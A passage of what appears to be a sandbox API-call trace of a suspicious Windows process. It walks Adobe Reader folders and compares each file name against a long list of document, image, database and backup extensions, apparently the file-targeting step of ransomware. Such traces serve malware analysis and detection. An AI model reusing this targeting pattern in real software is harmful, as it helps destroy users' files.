(lpString1=".3g2", lpString2="s.js") returned -1 [0200.310] lstrlenW (lpString=".3gp") returned 4 [0200.310] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0200.310] lstrlenW (lpString=".7z") returned 3 [0200.310] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.310] lstrlenW (lpString=".accda") returned 6 [0200.310] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0200.310] lstrlenW (lpString=".accdb") returned 6 [0200.310] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0200.310] lstrlenW (lpString=".accdc") returned 6 [0200.310] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0200.310] lstrlenW (lpString=".accde") returned 6 [0200.310] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0200.310] lstrlenW (lpString=".accdt") returned 6 [0200.310] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0200.311] lstrlenW (lpString=".accdw") returned 6 [0200.311] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0200.311] lstrlenW (lpString=".adb") returned 4 [0200.311] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".adp") returned 4 [0200.311] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai") returned 3 [0200.311] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.311] lstrlenW (lpString=".ai3") returned 4 [0200.311] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai4") returned 4 [0200.311] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai5") returned 4 [0200.311] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai6") returned 4 [0200.311] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai7") returned 4 [0200.311] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ai8") returned 4 [0200.311] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".anim") returned 5 [0200.311] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0200.311] lstrlenW (lpString=".arw") returned 4 [0200.311] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".as") returned 3 [0200.311] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.311] lstrlenW (lpString=".asa") returned 4 [0200.311] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".asc") returned 4 [0200.311] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0200.311] lstrlenW (lpString=".ascx") returned 5 [0200.311] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0200.312] lstrlenW (lpString=".asm") returned 4 [0200.312] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".asmx") returned 5 [0200.312] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0200.312] lstrlenW (lpString=".asp") returned 4 [0200.312] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".aspx") returned 5 [0200.312] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0200.312] lstrlenW (lpString=".asr") returned 4 [0200.312] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".asx") returned 4 [0200.312] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".avi") returned 4 [0200.312] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".avs") returned 4 [0200.312] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".backup") returned 7 [0200.312] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0200.312] lstrlenW (lpString=".bak") returned 4 [0200.312] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".bay") returned 4 [0200.312] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".bd") returned 3 [0200.312] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.312] lstrlenW (lpString=".bin") returned 4 [0200.312] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".bmp") returned 4 [0200.312] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".bz2") returned 4 [0200.312] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0200.312] lstrlenW (lpString=".c") returned 2 [0200.312] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.313] lstrlenW (lpString=".cdr") returned 4 [0200.313] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cer") returned 4 [0200.313] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cf") returned 3 [0200.313] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.313] lstrlenW (lpString=".cfc") returned 4 [0200.313] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cfm") returned 4 [0200.313] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cfml") returned 5 [0200.313] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0200.313] lstrlenW (lpString=".cfu") returned 4 [0200.313] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".chm") returned 4 [0200.313] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cin") returned 4 [0200.313] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".class") returned 6 [0200.313] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0200.313] lstrlenW (lpString=".clx") returned 4 [0200.313] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".config") returned 7 [0200.313] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0200.313] lstrlenW (lpString=".cpp") returned 4 [0200.313] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".cr2") returned 4 [0200.313] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".crt") returned 4 [0200.313] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0200.313] lstrlenW (lpString=".crw") returned 4 [0200.313] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".cs") returned 3 [0200.314] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.314] lstrlenW (lpString=".css") returned 4 [0200.314] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".csv") returned 4 [0200.314] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".cub") returned 4 [0200.314] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dae") returned 4 [0200.314] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dat") returned 4 [0200.314] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".db") returned 3 [0200.314] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.314] lstrlenW (lpString=".dbf") returned 4 [0200.314] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dbx") returned 4 [0200.314] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dc3") returned 4 [0200.314] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dcm") returned 4 [0200.314] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dcr") returned 4 [0200.314] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".der") returned 4 [0200.314] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dib") returned 4 [0200.314] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dic") returned 4 [0200.314] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0200.314] lstrlenW (lpString=".dif") returned 4 [0200.315] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".divx") returned 5 [0200.315] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".djvu") returned 5 [0200.315] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".dng") returned 4 [0200.315] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".doc") returned 4 [0200.315] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".docm") returned 5 [0200.315] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".docx") returned 5 [0200.315] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".dot") returned 4 [0200.315] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dotm") returned 5 [0200.315] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".dotx") returned 5 [0200.315] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0200.315] lstrlenW (lpString=".dpx") returned 4 [0200.315] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dqy") returned 4 [0200.315] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dsn") returned 4 [0200.315] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dt") returned 3 [0200.315] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.315] lstrlenW (lpString=".dtd") returned 4 [0200.315] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dwg") returned 4 [0200.315] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0200.315] lstrlenW (lpString=".dwt") returned 4 [0200.315] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".dx") returned 3 [0200.316] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.316] lstrlenW (lpString=".dxf") returned 4 [0200.316] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".edml") returned 5 [0200.316] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0200.316] lstrlenW (lpString=".efd") returned 4 [0200.316] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".elf") returned 4 [0200.316] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".emf") returned 4 [0200.316] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".emz") returned 4 [0200.316] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".epf") returned 4 [0200.316] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".eps") returned 4 [0200.316] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".epsf") returned 5 [0200.316] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0200.316] lstrlenW (lpString=".epsp") returned 5 [0200.316] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0200.316] lstrlenW (lpString=".erf") returned 4 [0200.316] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".exr") returned 4 [0200.316] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".f4v") returned 4 [0200.316] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0200.316] lstrlenW (lpString=".fido") returned 5 [0200.316] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0200.316] lstrlenW (lpString=".flm") returned 4 [0200.316] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".flv") returned 4 [0200.317] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".frm") returned 4 [0200.317] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".fxg") returned 4 [0200.317] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".geo") returned 4 [0200.317] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".gif") returned 4 [0200.317] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".grs") returned 4 [0200.317] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".gz") returned 3 [0200.317] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0200.317] lstrlenW (lpString=".h") returned 2 [0200.317] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0200.317] lstrlenW (lpString=".hdr") returned 4 [0200.317] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".hpp") returned 4 [0200.317] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".hta") returned 4 [0200.317] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".htc") returned 4 [0200.317] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".htm") returned 4 [0200.317] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0200.317] lstrlenW (lpString=".html") returned 5 [0200.317] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0200.318] lstrlenW (lpString=".icb") returned 4 [0200.318] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".ics") returned 4 [0200.318] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".iff") returned 4 [0200.318] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".inc") returned 4 [0200.318] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".indd") returned 5 [0200.318] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0200.318] lstrlenW (lpString=".ini") returned 4 [0200.318] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".iqy") returned 4 [0200.318] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".j2c") returned 4 [0200.318] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".j2k") returned 4 [0200.318] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".java") returned 5 [0200.318] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0200.318] lstrlenW (lpString=".jp2") returned 4 [0200.318] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0200.318] lstrlenW (lpString=".jpc") returned 4 [0200.318] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0200.319] lstrlenW (lpString=".jpe") returned 4 [0200.319] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0200.319] lstrlenW (lpString=".jpeg") returned 5 [0200.319] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0200.319] lstrlenW (lpString=".jpf") returned 4 [0200.319] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0200.319] lstrlenW (lpString=".jpg") returned 4 [0200.319] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0200.319] lstrlenW (lpString=".jpx") returned 4 [0200.319] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0200.319] lstrlenW (lpString=".js") returned 3 [0200.319] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0200.319] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0200.319] FindClose (in: hFindFile=0x4420860 | out: hFindFile=0x4420860) returned 1 [0200.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.319] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0200.319] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr") returned 118 [0200.319] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr") returned 1 [0200.319] lstrlenW (lpString="fr-fr") returned 5 [0200.319] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1 [0200.319] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4591d60 [0200.319] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr") returned 118 [0200.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420860 [0200.320] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0200.320] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.320] lstrlenW (lpString="ui-strings.js") returned 13 [0200.320] lstrlenW (lpString=".1cd") returned 4 [0200.320] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0200.320] lstrlenW (lpString=".3ds") returned 4 [0200.320] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0200.320] lstrlenW (lpString=".3fr") returned 4 [0200.320] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0200.320] lstrlenW (lpString=".3g2") returned 4 [0200.320] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0200.320] lstrlenW (lpString=".3gp") returned 4 [0200.320] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0200.320] lstrlenW (lpString=".7z") returned 3 [0200.320] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.320] lstrlenW (lpString=".accda") returned 6 [0200.320] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0200.320] lstrlenW (lpString=".accdb") returned 6 [0200.320] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0200.320] lstrlenW (lpString=".accdc") returned 6 [0200.320] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0200.320] lstrlenW (lpString=".accde") returned 6 [0200.320] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0200.320] lstrlenW (lpString=".accdt") returned 6 [0200.320] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0200.321] lstrlenW (lpString=".accdw") returned 6 [0200.321] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0200.321] lstrlenW (lpString=".adb") returned 4 [0200.321] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0200.321] lstrlenW (lpString=".adp") returned 4 [0200.321] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai") returned 3 [0200.484] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.484] lstrlenW (lpString=".ai3") returned 4 [0200.484] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai4") returned 4 [0200.484] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai5") returned 4 [0200.484] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai6") returned 4 [0200.484] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai7") returned 4 [0200.484] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".ai8") returned 4 [0200.484] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0200.484] lstrlenW (lpString=".anim") returned 5 [0200.485] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0200.485] lstrlenW (lpString=".arw") returned 4 [0200.485] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".as") returned 3 [0200.485] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.485] lstrlenW (lpString=".asa") returned 4 [0200.485] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".asc") returned 4 [0200.485] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".ascx") returned 5 [0200.485] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0200.485] lstrlenW (lpString=".asm") returned 4 [0200.485] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".asmx") returned 5 [0200.485] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0200.485] lstrlenW (lpString=".asp") returned 4 [0200.485] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".aspx") returned 5 [0200.485] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0200.485] lstrlenW (lpString=".asr") returned 4 [0200.485] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".asx") returned 4 [0200.485] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".avi") returned 4 [0200.485] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".avs") returned 4 [0200.485] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0200.485] lstrlenW (lpString=".backup") returned 7 [0200.485] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0200.485] lstrlenW (lpString=".bak") returned 4 [0200.485] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".bay") returned 4 [0200.486] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".bd") returned 3 [0200.486] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.486] lstrlenW (lpString=".bin") returned 4 [0200.486] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".bmp") returned 4 [0200.486] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".bz2") returned 4 [0200.486] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".c") returned 2 [0200.486] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.486] lstrlenW (lpString=".cdr") returned 4 [0200.486] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".cer") returned 4 [0200.486] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".cf") returned 3 [0200.486] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.486] lstrlenW (lpString=".cfc") returned 4 [0200.486] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".cfm") returned 4 [0200.486] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".cfml") returned 5 [0200.486] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0200.486] lstrlenW (lpString=".cfu") returned 4 [0200.486] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".chm") returned 4 [0200.486] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0200.486] lstrlenW (lpString=".cin") returned 4 [0200.486] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".class") returned 6 [0200.487] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0200.487] lstrlenW (lpString=".clx") returned 4 [0200.487] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".config") returned 7 [0200.487] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0200.487] lstrlenW (lpString=".cpp") returned 4 [0200.487] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".cr2") returned 4 [0200.487] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".crt") returned 4 [0200.487] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".crw") returned 4 [0200.487] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".cs") returned 3 [0200.487] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.487] lstrlenW (lpString=".css") returned 4 [0200.487] lstrcmpiW (lpString1=".css", 